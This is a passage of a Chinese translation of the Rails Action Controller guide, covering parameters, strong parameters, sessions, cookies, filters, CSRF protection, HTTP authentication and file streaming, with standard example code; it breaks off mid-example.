  • 如何使用 Action Controller 內建的 HTTP 身份认证功能;
  • +
  • 如何把数据流直发送给用户的浏览器;
  • +
  • 如何过滤敏感信息,不写入程序的日志;
  • +
  • 如何处理请求过程中可能出现的异常;
  • +
+ + + + +
+
+ +
+
+
+

1 控制器的作用

Action Controller 是 MVC 中的 C(控制器)。路由决定使用哪个控制器处理请求后,控制器负责解析请求,生成对应的请求。Action Controller 会代为处理大多数底层工作,使用易懂的约定,让整个过程清晰明了。

在大多数按照 REST 规范开发的程序中,控制器会接收请求(开发者不可见),从模型中获取数据,或把数据写入模型,再通过视图生成 HTML。如果控制器需要做其他操作,也没问题,以上只不过是控制器的主要作用。

因此,控制器可以视作模型和视图的中间人,让模型中的数据可以在视图中使用,把数据显示给用户,再把用户提交的数据保存或更新到模型中。

路由的处理细节请查阅 Rails Routing From the Outside In

2 控制器命名约定

Rails 控制器的命名习惯是,最后一个单词使用复数形式,但也是有例外,比如 ApplicationController。例如:用 ClientsController,而不是 ClientController;用 SiteAdminsController,而不是 SiteAdminControllerSitesAdminsController

遵守这一约定便可享用默认的路由生成器(例如 resources 等),无需再指定 :path:controller,URL 和路径的帮助方法也能保持一致性。详情参阅 Layouts & Rendering Guide

控制器的命名习惯和模型不同,模型的名字习惯使用单数形式。

3 方法和动作

控制器是一个类,继承自 ApplicationController,和其他类一样,定义了很多方法。程序接到请求时,路由决定运行哪个控制器和哪个动作,然后创建该控制器的实例,运行和动作同名的方法。

+
+class ClientsController < ApplicationController
+  def new
+  end
+end
+
+
+
+

例如,用户访问 /clients/new 新建客户,Rails 会创建一个 ClientsController 实例,运行 new 方法。注意,在上面这段代码中,即使 new 方法是空的也没关系,因为默认会渲染 new.html.erb 视图,除非指定执行其他操作。在 new 方法中,声明可在视图中使用的 @client 实例变量,创建一个新的 Client 实例:

+
+def new
+  @client = Client.new
+end
+
+
+
+

详情参阅 Layouts & Rendering Guide

ApplicationController 继承自 ActionController::BaseActionController::Base 定义了很多实用方法。本文会介绍部分方法,如果想知道定义了哪些方法,可查阅 API 文档或源码。

只有公开方法才被视为动作。所以最好减少对外可见的方法数量,例如辅助方法和过滤器方法。

4 参数

在控制器的动作中,往往需要获取用户发送的数据,或其他参数。在网页程序中参数分为两类。第一类随 URL 发送,叫做“请求参数”,即 URL 中 ? 符号后面的部分。第二类经常成为“POST 数据”,一般来自用户填写的表单。之所以叫做“POST 数据”是因为,只能随 HTTP POST 请求发送。Rails 不区分这两种参数,在控制器中都可通过 params Hash 获取:

+
+class ClientsController < ApplicationController
+  # This action uses query string parameters because it gets run
+  # by an HTTP GET request, but this does not make any difference
+  # to the way in which the parameters are accessed. The URL for
+  # this action would look like this in order to list activated
+  # clients: /clients?status=activated
+  def index
+    if params[:status] == "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.inactivated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming
+  # from an HTML form which the user has submitted. The URL for
+  # this RESTful request will be "/clients", and the data will be
+  # sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which
+      # would have been to render the "create" view.
+      render "new"
+    end
+  end
+end
+
+
+
+

4.1 Hash 和数组参数

params Hash 不局限于只能使用一维键值对,其中可以包含数组和嵌套的 Hash。要发送数组,需要在键名后加上一对空方括号([]):

+
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+
+
+
+

“[”和“]”这两个符号不允许出现在 URL 中,所以上面的地址会被编码成 /clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3。大多数情况下,无需你费心,浏览器会为你代劳编码,接收到这样的请求后,Rails 也会自动解码。如果你要手动向服务器发送这样的请求,就要留点心了。

此时,params[:ids] 的值是 ["1", "2", "3"]。注意,参数的值始终是字符串,Rails 不会尝试转换类型。

默认情况下,基于安全考虑,参数中的 [][nil][nil, nil, ...] 会替换成 nil。详情参阅安全指南

要发送嵌套的 Hash 参数,需要在方括号内指定键名:

+
+<form accept-charset="UTF-8" action="http://github.com/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+
+
+
+

提交这个表单后,params[:client] 的值是 { "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }。注意 params[:client][:address] 是个嵌套 Hash。

注意,params Hash 其实是 ActiveSupport::HashWithIndifferentAccess 的实例,虽和普通的 Hash 一样,但键名使用 Symbol 和字符串的效果一样。

4.2 JSON 参数

开发网页服务程序时,你会发现,接收 JSON 格式的参数更容易处理。如果请求的 Content-Type 报头是 application/json,Rails 会自动将其转换成 params Hash,按照常规的方法使用:

例如,如果发送如下的 JSON 格式内容:

+
+{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+
+
+
+

得到的是 params[:company] 就是 { "name" => "acme", "address" => "123 Carrot Street" }

如果在初始化脚本中开启了 config.wrap_parameters 选项,或者在控制器中调用了 wrap_parameters 方法,可以放心的省去 JSON 格式参数中的根键。Rails 会以控制器名新建一个键,复制参数,将其存入这个键名下。因此,上面的参数可以写成:

+
+{ "name": "acme", "address": "123 Carrot Street" }
+
+
+
+

假设数据传送给 CompaniesController,那么参数会存入 :company 键名下:

+
+{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }
+
+
+
+

如果想修改默认使用的键名,或者把其他参数存入其中,请参阅 API 文档

解析 XML 格式参数的功能现已抽出,制成了 gem,名为 actionpack-xml_parser

4.3 路由参数

params Hash 总有 :controller:action 两个键,但获取这两个值应该使用 controller_nameaction_name 方法。路由中定义的参数,例如 :id,也可通过 params Hash 获取。例如,假设有个客户列表,可以列出激活和禁用的客户。我们可以定义一个路由,捕获下面这个 URL 中的 :status 参数:

+
+get '/clients/:status' => 'clients#index', foo: 'bar'
+
+
+
+

在这个例子中,用户访问 /clients/active 时,params[:status] 的值是 "active"。同时,params[:foo] 的值也会被设为 "bar",就像通过请求参数传入的一样。params[:action] 也是一样,其值为 "index"

4.4 default_url_options +

在控制器中定义名为 default_url_options 的方法,可以设置所生成 URL 中都包含的参数。这个方法必须返回一个 Hash,其值为所需的参数值,而且键必须使用 Symbol:

+
+class ApplicationController < ActionController::Base
+  def default_url_options
+    { locale: I18n.locale }
+  end
+end
+
+
+
+

这个方法定义的只是预设参数,可以被 url_for 方法的参数覆盖。

如果像上面的代码一样,在 ApplicationController 中定义 default_url_options,则会用于所有生成的 URL。default_url_options 也可以在具体的控制器中定义,只影响和该控制器有关的 URL。

4.5 健壮参数

加入健壮参数功能后,Action Controller 的参数禁止在 Avtive Model 中批量赋值,除非参数在白名单中。也就是说,你要明确选择那些属性可以批量更新,避免意外把不该暴露的属性暴露了。

而且,还可以标记哪些参数是必须传入的,如果没有收到,会交由 raise/rescue 处理,返回“400 Bad Request”。

+
+class PeopleController < ActionController::Base
+  # This will raise an ActiveModel::ForbiddenAttributes exception
+  # because it's using mass assignment without an explicit permit
+  # step.
+  def create
+    Person.create(params[:person])
+  end
+
+  # This will pass with flying colors as long as there's a person key
+  # in the parameters, otherwise it'll raise a
+  # ActionController::ParameterMissing exception, which will get
+  # caught by ActionController::Base and turned into that 400 Bad
+  # Request reply.
+  def update
+    person = current_account.people.find(params[:id])
+    person.update!(person_params)
+    redirect_to person
+  end
+
+  private
+    # Using a private method to encapsulate the permissible parameters
+    # is just a good pattern since you'll be able to reuse the same
+    # permit list between create and update. Also, you can specialize
+    # this method with per-user checking of permissible attributes.
+    def person_params
+      params.require(:person).permit(:name, :age)
+    end
+end
+
+
+
+
4.5.1 允许使用的标量值

假如允许传入 :id

+
+params.permit(:id)
+
+
+
+

params 中有 :id,且 :id 是标量值,就可以通过白名单检查,否则 :id 会被过滤掉。因此不能传入数组、Hash 或其他对象。

允许使用的标量类型有:StringSymbolNilClassNumericTrueClassFalseClassDateTimeDateTimeStringIOIOActionDispatch::Http::UploadedFileRack::Test::UploadedFile

要想指定 params 中的值必须为数组,可以把键对应的值设为空数组:

+
+params.permit(id: [])
+
+
+
+

要想允许传入整个参数 Hash,可以使用 permit! 方法:

+
+params.require(:log_entry).permit!
+
+
+
+

此时,允许传入整个 :log_entry Hash 及嵌套 Hash。使用 permit! 时要特别注意,因为这么做模型中所有当前属性及后续添加的属性都允许进行批量赋值。

4.5.2 嵌套参数

也可以允许传入嵌套参数,例如:

+
+params.permit(:name, { emails: [] },
+              friends: [ :name,
+                         { family: [ :name ], hobbies: [] }])
+
+
+
+

此时,允许传入 nameemailsfriends 属性。其中,emails 必须是数组;friends 必须是一个由资源组成的数组:应该有个 name 属性,还要有 hobbies 属性,其值是由标量组成的数组,以及一个 family 属性,其值只能包含 name 属性(任何允许使用的标量值)。

4.5.3 更多例子

你可能还想在 new 动作中限制允许传入的属性。不过此时无法再根键上调用 require 方法,因为此时根键还不存在:

+
+# using `fetch` you can supply a default and use
+# the Strong Parameters API from there.
+params.fetch(:blog, {}).permit(:title, :author)
+
+
+
+

使用 accepts_nested_attributes_for 方法可以更新或销毁响应的记录。这个方法基于 id_destroy 参数:

+
+# permit :id and :_destroy
+params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+
+
+
+

如果 Hash 的键是数字,处理方式有所不同,此时可以把属性作为 Hash 的直接子 Hash。accepts_nested_attributes_forhas_many 关联同时使用时会得到这种参数:

+
+# To whitelist the following data:
+# {"book" => {"title" => "Some Book",
+#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
+#                                        "2" => {"title" => "Second Chapter"}}}}
+
+params.require(:book).permit(:title, chapters_attributes: [:title])
+
+
+
+
4.5.4 不用健壮参数

健壮参数的目的是为了解决常见问题,不是万用良药。不过,可以很方便的和自己的代码结合,解决复杂需求。

假设有个参数包含产品的名字和一个由任意数据组成的产品附加信息 Hash,希望过滤产品名和整个附加数据 Hash。健壮参数不能过滤由任意键值组成的嵌套 Hash,不过可以使用嵌套 Hash 的键定义过滤规则:

+
+def product_params
+  params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
+end
+
+
+
+

5 会话

程序中的每个用户都有一个会话(session),可以存储少量数据,在多次请求中永久存储。会话只能在控制器和视图中使用,可以通过以下几种存储机制实现:

+
    +
  • +ActionDispatch::Session::CookieStore:所有数据都存储在客户端
  • +
  • +ActionDispatch::Session::CacheStore:数据存储在 Rails 缓存里
  • +
  • +ActionDispatch::Session::ActiveRecordStore:使用 Active Record 把数据存储在数据库中(需要使用 activerecord-session_store gem)
  • +
  • +ActionDispatch::Session::MemCacheStore:数据存储在 Memcached 集群中(这是以前的实现方式,现在请改用 CacheStore)
  • +
+

所有存储机制都会用到一个 cookie,存储每个会话的 ID(必须使用 cookie,因为 Rails 不允许在 URL 中传递会话 ID,这么做不安全)。

大多数存储机制都会使用这个 ID 在服务商查询会话数据,例如在数据库中查询。不过有个例外,即默认也是推荐使用的存储方式 CookieStore。CookieStore 把所有会话数据都存储在 cookie 中(如果需要,还是可以使用 ID)。CookieStore 的优点是轻量,而且在新程序中使用会话也不用额外的设置。cookie 中存储的数据会使用密令签名,以防篡改。cookie 会被加密,任何有权访问的人都无法读取其内容。(如果修改了 cookie,Rails 会拒绝使用。)

CookieStore 可以存储大约 4KB 数据,比其他几种存储机制都少很多,但一般也足够用了。不过使用哪种存储机制,都不建议在会话中存储大量数据。应该特别避免在会话中存储复杂的对象(Ruby 基本对象之外的一切对象,最常见的是模型实例),服务器可能无法在多次请求中重组数据,最终导致错误。

如果会话中没有存储重要的数据,或者不需要持久存储(例如使用 Falsh 存储消息),可以考虑使用 ActionDispatch::Session::CacheStore。这种存储机制使用程序所配置的缓存方式。CacheStore 的优点是,可以直接使用现有的缓存方式存储会话,不用额外的设置。不过缺点也很明显,会话存在时间很多,随时可能消失。

关于会话存储的更多内容请参阅安全指南

如果想使用其他的会话存储机制,可以在 config/initializers/session_store.rb 文件中设置:

+
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rails g active_record:session_migration")
+# YourApp::Application.config.session_store :active_record_store
+
+
+
+

签署会话数据时,Rails 会用到会话的键(cookie 的名字),这个值可以在 config/initializers/session_store.rb 中修改:

+
+# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session'
+
+
+
+

还可以传入 :domain 键,指定可使用此 cookie 的域名:

+
+# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+
+
+
+

Rails 为 CookieStore 提供了一个密令,用来签署会话数据。这个密令可以在 config/secrets.yml 文件中修改:

+
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+  secret_key_base: a75d...
+
+test:
+  secret_key_base: 492f...
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+
+
+
+

使用 CookieStore 时,如果修改了密令,之前所有的会话都会失效。

5.1 获取会话

在控制器中,可以使用实例方法 session 获取会话。

会话是惰性加载的,如果不在动作中获取,不会自动加载。因此无需禁用会话,不获取即可。

会话中的数据以键值对的形式存储,类似 Hash:

+
+class ApplicationController < ActionController::Base
+
+  private
+
+  # Finds the User with the ID stored in the session with the key
+  # :current_user_id This is a common way to handle user login in
+  # a Rails application; logging in sets the session value and
+  # logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] &&
+      User.find_by(id: session[:current_user_id])
+  end
+end
+
+
+
+

要想把数据存入会话,像 Hash 一样,给键赋值即可:

+
+class LoginsController < ApplicationController
+  # "Create" a login, aka "log the user in"
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # Save the user ID in the session so it can be used in
+      # subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+
+
+
+

要从会话中删除数据,把键的值设为 nil 即可:

+
+class LoginsController < ApplicationController
+  # "Delete" a login, aka "log the user out"
+  def destroy
+    # Remove the user id from the session
+    @_current_user = session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+
+
+
+

要重设整个会话,请使用 reset_session 方法。

5.2 Flash 消息

Flash 是会话的一个特殊部分,每次请求都会清空。也就是说,其中存储的数据只能在下次请求时使用,可用来传递错误消息等。

Flash 消息的获取方式和会话差不多,类似 Hash。Flash 消息是 FlashHash 实例。

下面以退出登录为例。控制器可以发送一个消息,在下一次请求时显示:

+
+class LoginsController < ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out."
+    redirect_to root_url
+  end
+end
+
+
+
+

注意,Flash 消息还可以直接在转向中设置。可以指定 :notice:alert 或者常规的 :flash

+
+redirect_to root_url, notice: "You have successfully logged out."
+redirect_to root_url, alert: "You're stuck here!"
+redirect_to root_url, flash: { referral_code: 1234 }
+
+
+
+

上例中,destroy 动作转向程序的 root_url,然后显示 Flash 消息。注意,只有下一个动作才能处理前一个动作中设置的 Flash 消息。一般都会在程序的布局中加入显示警告或提醒 Flash 消息的代码:

+
+<html>
+  <!-- <head/> -->
+  <body>
+    <% flash.each do |name, msg| -%>
+      <%= content_tag :div, msg, class: name %>
+    <% end -%>
+
+    <!-- more content -->
+  </body>
+</html>
+
+
+
+

如此一來,如果动作中设置了警告或提醒消息,就会出现在布局中。

Flash 不局限于警告和提醒,可以设置任何可在会话中存储的内容:

+
+<% if flash[:just_signed_up] %>
+  <p class="welcome">Welcome to our site!</p>
+<% end %>
+
+
+
+

如果希望 Flash 消息保留到其他请求,可以使用 keep 方法:

+
+class MainController < ApplicationController
+  # Let's say this action corresponds to root_url, but you want
+  # all requests here to be redirected to UsersController#index.
+  # If an action sets the flash and redirects here, the values
+  # would normally be lost when another redirect happens, but you
+  # can use 'keep' to make it persist for another request.
+  def index
+    # Will persist all flash values.
+    flash.keep
+
+    # You can also use a key to keep only some kind of value.
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+
+
+
+
5.2.1 flash.now +

默认情况下,Flash 中的内容只在下一次请求中可用,但有时希望在同一个请求中使用。例如,create 动作没有成功保存资源时,会直接渲染 new 模板,这并不是一个新请求,但却希望希望显示一个 Flash 消息。针对这种情况,可以使用 flash.now,用法和 flash 一样:

+
+class ClientsController < ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render action: "new"
+    end
+  end
+end
+
+
+
+

6 Cookies

程序可以在客户端存储少量数据(称为 cookie),在多次请求中使用,甚至可以用作会话。在 Rails 中可以使用 cookies 方法轻松获取 cookies,用法和 session 差不多,就像一个 Hash:

+
+class CommentsController < ApplicationController
+  def new
+    # Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(author: cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # Remember the commenter's name.
+        cookies[:commenter_name] = @comment.author
+      else
+        # Delete cookie for the commenter's name cookie, if any.
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render action: "new"
+    end
+  end
+end
+
+
+
+

注意,删除会话中的数据是把键的值设为 nil,但要删除 cookie 中的值,要使用 cookies.delete(:key) 方法。

Rails 还提供了签名 cookie 和加密 cookie,用来存储敏感数据。签名 cookie 会在 cookie 的值后面加上一个签名,确保值没被修改。加密 cookie 除了会签名之外,还会加密,让终端用户无法读取。详细信息请参阅 API 文档

这两种特殊的 cookie 会序列化签名后的值,生成字符串,读取时再反序列化成 Ruby 对象。

序列化所用的方式可以指定:

+
+Rails.application.config.action_dispatch.cookies_serializer = :json
+
+
+
+

新程序默认使用的序列化方法是 :json。为了兼容以前程序中的 cookie,如果没设定 cookies_serializer,就会使用 :marshal

这个选项还可以设为 :hybrid,读取时,Rails 会自动返序列化使用 Marshal 序列化的 cookie,写入时使用 JSON 格式。把现有程序迁移到使用 :json 序列化方式时,这么设定非常方便。

序列化方式还可以使用其他方式,只要定义了 loaddump 方法即可:

+
+Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+
+
+
+

7 渲染 XML 和 JSON 数据

ActionController 中渲染 XMLJSON 数据非常简单。使用脚手架生成的控制器如下所示:

+
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    respond_to do |format|
+      format.html # index.html.erb
+      format.xml  { render xml: @users}
+      format.json { render json: @users}
+    end
+  end
+end
+
+
+
+

你可能注意到了,在这段代码中,我们使用的是 render xml: @users 而不是 render xml: @users.to_xml。如果不是字符串对象,Rails 会自动调用 to_xml 方法。

8 过滤器

过滤器(filter)是一些方法,在控制器动作运行之前、之后,或者前后运行。

过滤器会继承,如果在 ApplicationController 中定义了过滤器,那么程序的每个控制器都可使用。

前置过滤器有可能会终止请求循环。前置过滤器经常用来确保动作运行之前用户已经登录。这种过滤器的定义如下:

+
+class ApplicationController < ActionController::Base
+  before_action :require_login
+
+  private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+end
+
+
+
+

如果用户没有登录,这个方法会在 Flash 中存储一个错误消息,然后转向登录表单页面。如果前置过滤器渲染了页面或者做了转向,动作就不会运行。如果动作上还有后置过滤器,也不会运行。

在上面的例子中,过滤器在 ApplicationController 中定义,所以程序中的所有控制器都会继承。程序中的所有页面都要求用户登录后才能访问。很显然(这样用户根本无法登录),并不是所有控制器或动作都要做这种限制。如果想跳过某个动作,可以使用 skip_before_action

+
+class LoginsController < ApplicationController
+  skip_before_action :require_login, only: [:new, :create]
+end
+
+
+
+

此时,LoginsControllernew 动作和 create 动作就不需要用户先登录。:only 选项的意思是只跳过这些动作。还有个 :except 选项,用法类似。定义过滤器时也可使用这些选项,指定只在选中的动作上运行。

8.1 后置过滤器和环绕过滤器

除了前置过滤器之外,还可以在动作运行之后,或者在动作运行前后执行过滤器。

后置过滤器类似于前置过滤器,不过因为动作已经运行了,所以可以获取即将发送给客户端的响应数据。显然,后置过滤器无法阻止运行动作。

环绕过滤器会把动作拉入(yield)过滤器中,工作方式类似 Rack 中间件。

例如,网站的改动需要经过管理员预览,然后批准。可以把这些操作定义在一个事务中:

+
+class ChangesController < ApplicationController
+  around_action :wrap_in_transaction, only: :show
+
+  private
+
+  def wrap_in_transaction
+    ActiveRecord::Base.transaction do
+      begin
+        yield
+      ensure
+        raise ActiveRecord::Rollback
+      end
+    end
+  end
+end
+
+
+
+

注意,环绕过滤器还包含了渲染操作。在上面的例子中,视图本身是从数据库中读取出来的(例如,通过作用域(scope)),读取视图的操作在事务中完成,然后提供预览数据。

也可以不拉入动作,自己生成响应,不过这种情况不会运行动作。

8.2 过滤器的其他用法

一般情况下,过滤器的使用方法是定义私有方法,然后调用相应的 *_action 方法添加过滤器。不过过滤器还有其他两种用法。

第一种,直接在 *_action 方法中使用代码块。代码块接收控制器作为参数。使用这种方法,前面的 require_login 过滤器可以改写成:

+
+class ApplicationController < ActionController::Base
+  before_action do |controller|
+    unless controller.send(:logged_in?)
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url
+    end
+  end
+end
+
+
+
+

注意,此时在过滤器中使用的是 send 方法,因为 logged_in? 是私有方法,而且过滤器和控制器不在同一作用域内。定义 require_login 过滤器不推荐使用这种方法,但比较简单的过滤器可以这么用。

第二种,在类(其实任何能响应正确方法的对象都可以)中定义过滤器。这种方法用来实现复杂的过滤器,使用前面的两种方法无法保证代码可读性和重用性。例如,可以在一个类中定义前面的 require_login 过滤器:

+
+class ApplicationController < ActionController::Base
+  before_action LoginFilter
+end
+
+class LoginFilter
+  def self.before(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = "You must be logged in to access this section"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+
+
+
+

这种方法也不是定义 require_login 过滤器的理想方式,因为和控制器不在同一作用域,要把控制器作为参数传入。定义过滤器的类,必须有一个和过滤器种类同名的方法。对于 before_action 过滤器,类中必须定义 before 方法。其他类型的过滤器以此类推。around 方法必须调用 yield 方法执行动作。

9 防止请求伪造

跨站请求伪造(CSRF)是一种攻击方式,A 网站的用户伪装成 B 网站的用户发送请求,在 B 站中添加、修改或删除数据,而 B 站的用户绝然不知。

防止这种攻击的第一步是,确保所有析构动作(createupdatedestroy)只能通过 GET 之外的请求方法访问。如果遵从 REST 架构,已经完成了这一步。不过,恶意网站还是可以很轻易地发起非 GET 请求,这时就要用到其他防止跨站攻击的方法了。

我们添加一个只有自己的服务器才知道的难以猜测的令牌。如果请求中没有该令牌,就会禁止访问。

如果使用下面的代码生成一个表单:

+
+<%= form_for @user do |f| %>
+  <%= f.text_field :username %>
+  <%= f.text_field :password %>
+<% end %>
+
+
+
+

会看到 Rails 自动添加了一个隐藏字段:

+
+<form accept-charset="UTF-8" action="http://github.com/users/1" method="post">
+<input type="hidden"
+       value="67250ab105eb5ad10851c00a5621854a23af5489"
+       name="authenticity_token"/>
+<!-- username & password fields -->
+</form>
+
+
+
+

所有使用表单帮助方法生成的表单,都有会添加这个令牌。如果想自己编写表单,或者基于其他原因添加令牌,可以使用 form_authenticity_token 方法。

form_authenticity_token 会生成一个有效的令牌。在 Rails 没有自动添加令牌的地方(例如 Ajax)可以使用这个方法。

安全指南一文更深入的介绍了请求伪造防范措施,还有一些开发网页程序需要知道的安全隐患。

10 requestresponse 对象

在每个控制器中都有两个存取器方法,分别用来获取当前请求循环的请求对象和响应对象。request 方法的返回值是 AbstractRequest 对象的实例;response 方法的返回值是一个响应对象,表示回送客户端的数据。

10.1 request 对象

request 对象中有很多发自客户端请求的信息。可用方法的完整列表参阅 API 文档。其中部分方法说明如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+request 对象的属性作用
host请求发往的主机名
domain(n=2)主机名的前 n 个片段,从顶级域名的右侧算起
format客户端发起请求时使用的内容类型
method请求使用的 HTTP 方法
get?, post?, patch?, put?, delete?, head?如果 HTTP 方法是 GET/POST/PATCH/PUT/DELETE/HEAD,返回 true +
headers返回一个 Hash,包含请求的报头
port请求发往的端口,整数类型
protocol返回所用的协议外加 "://",例如 "http://" +
query_stringURL 中包含的请求参数,? 后面的字符串
remote_ip客户端的 IP 地址
url请求发往的完整 URL
+
10.1.1 path_parametersquery_parametersrequest_parameters +

不过请求中的参数随 URL 而来,而是通过表单提交,Rails 都会把这些参数存入 params Hash 中。request 对象中有三个存取器,用来获取各种类型的参数。query_parameters Hash 中的参数来自 URL;request_parameters Hash 中的参数来自提交的表单;path_parameters Hash 中的参数来自路由,传入相应的控制器和动作。

10.2 response 对象

一般情况下不会直接使用 response 对象。response 对象在动作中渲染,把数据回送给客户端。不过有时可能需要直接获取响应,比如在后置过滤器中。response 对象上的方法很多都可以用来赋值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+response 对象的数学作用
body回送客户端的数据,字符串格式。大多数情况下是 HTML
status响应的 HTTP 状态码,例如,请求成功时是 200,文件未找到时是 404
location转向地址(如果转向的话)
content_type响应的内容类型
charset响应使用的字符集。默认是 "utf-8" +
headers响应报头
+
10.2.1 设置自定义报头

如果想设置自定义报头,可以使用 response.headers 方法。报头是一个 Hash,键为报头名,值为报头的值。Rails 会自动设置一些报头,如果想添加或者修改报头,赋值给 response.headers 即可,例如:

+
+response.headers["Content-Type"] = "application/pdf"
+
+
+
+

注意,上面这段代码直接使用 content_type= 方法更直接。

11 HTTP 身份认证

Rails 内建了两种 HTTP 身份认证方式:

+
    +
  • 基本认证
  • +
  • 摘要认证
  • +
+

11.1 HTTP 基本身份认证

大多数浏览器和 HTTP 客户端都支持 HTTP 基本身份认证。例如,在浏览器中如果要访问只有管理员才能查看的页面,就会出现一个对话框,要求输入用户名和密码。使用内建的身份认证非常简单,只要使用一个方法,即 http_basic_authenticate_with

+
+class AdminsController < ApplicationController
+  http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
+end
+
+
+
+

添加 http_basic_authenticate_with 方法后,可以创建具有命名空间的控制器,继承自 AdminsControllerhttp_basic_authenticate_with 方法会在这些控制器的所有动作运行之前执行,启用 HTTP 基本身份认证。

11.2 HTTP 摘要身份认证

HTTP 摘要身份认证比基本认证高级,因为客户端不会在网络中发送明文密码(不过在 HTTPS 中基本认证是安全的)。在 Rails 中使用摘要认证非常简单,只需使用一个方法,即 authenticate_or_request_with_http_digest

+
+class AdminsController < ApplicationController
+  USERS = { "lifo" => "world" }
+
+  before_action :authenticate
+
+  private
+
+    def authenticate
+      authenticate_or_request_with_http_digest do |username|
+        USERS[username]
+      end
+    end
+end
+
+
+
+

如上面的代码所示,authenticate_or_request_with_http_digest 方法的块只接受一个参数,用户名,返回值是密码。如果 authenticate_or_request_with_http_digest 返回 falsenil,表明认证失败。

12 数据流和文件下载

有时不想渲染 HTML 页面,而要把文件发送给用户。在所有的控制器中都可以使用 send_datasend_file 方法。这两个方法都会以数据流的方式发送数据。send_file 方法很方便,只要提供硬盘中文件的名字,就会用数据流发送文件内容。

要想把数据以数据流的形式发送给客户端,可以使用 send_data 方法:

+
+require "prawn"
+class ClientsController < ApplicationController
+  # Generates a PDF document with information on the client and
+  # returns it. The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data generate_pdf(client),
+              filename: "#{client.name}.pdf",
+              type: "application/pdf"
+  end
+
+  private
+
+    def generate_pdf(client)
+      Prawn::Document.new do
+        text client.name, align: :center
+        text "Address: #{client.address}"
+        text "Email: #{client.email}"
+      end.render
+    end
+end
+
+
+
+

在上面的代码中,download_pdf 动作调用私有方法 generate_pdfgenerate_pdf 才是真正生成 PDF 的方法,返回值字符串形式的文件内容。返回的字符串会以数据流的形式发送给客户端,并为用户推荐一个文件名。有时发送文件流时,并不希望用户下载这个文件,比如嵌在 HTML 页面中的图片。告诉浏览器文件不是用来下载的,可以把 :disposition 选项设为 "inline"。这个选项的另外一个值,也是默认值,是 "attachment"

12.1 发送文件

如果想发送硬盘上已经存在的文件,可以使用 send_file 方法。

+
+class ClientsController < ApplicationController
+  # Stream a file that has already been generated and stored on disk.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+              filename: "#{client.name}.pdf",
+              type: "application/pdf")
+  end
+end
+
+
+
+

send_file 一次只发送 4kB,而不是一次把整个文件都写入内存。如果不想使用数据流方式,可以把 :stream 选项设为 false。如果想调整数据块大小,可以设置 :buffer_size 选项。

如果没有指定 :type 选项,Rails 会根据 :filename 中的文件扩展名猜测。如果没有注册扩展名对应的文件类型,则使用 application/octet-stream

要谨慎处理用户提交数据(参数,cookies 等)中的文件路径,有安全隐患,你可能并不想让别人下载这个文件。

不建议通过 Rails 以数据流的方式发送静态文件,你可以把静态文件放在服务器的公共文件夹中,使用 Apache 或其他服务器下载效率更高,因为不用经由整个 Rails 处理。

12.2 使用 REST 的方式下载文件

虽然可以使用 send_data 方法发送数据,但是在 REST 架构的程序中,单独为下载文件操作写个动作有些多余。在 REST 架构下,上例中的 PDF 文件可以视作一种客户端资源。Rails 提供了一种更符合 REST 架构的文件下载方法。下面这段代码重写了前面的例子,把下载 PDF 文件的操作放在 show 动作中,不使用数据流:

+
+class ClientsController < ApplicationController
+  # The user can request to receive this resource as HTML or PDF.
+  def show
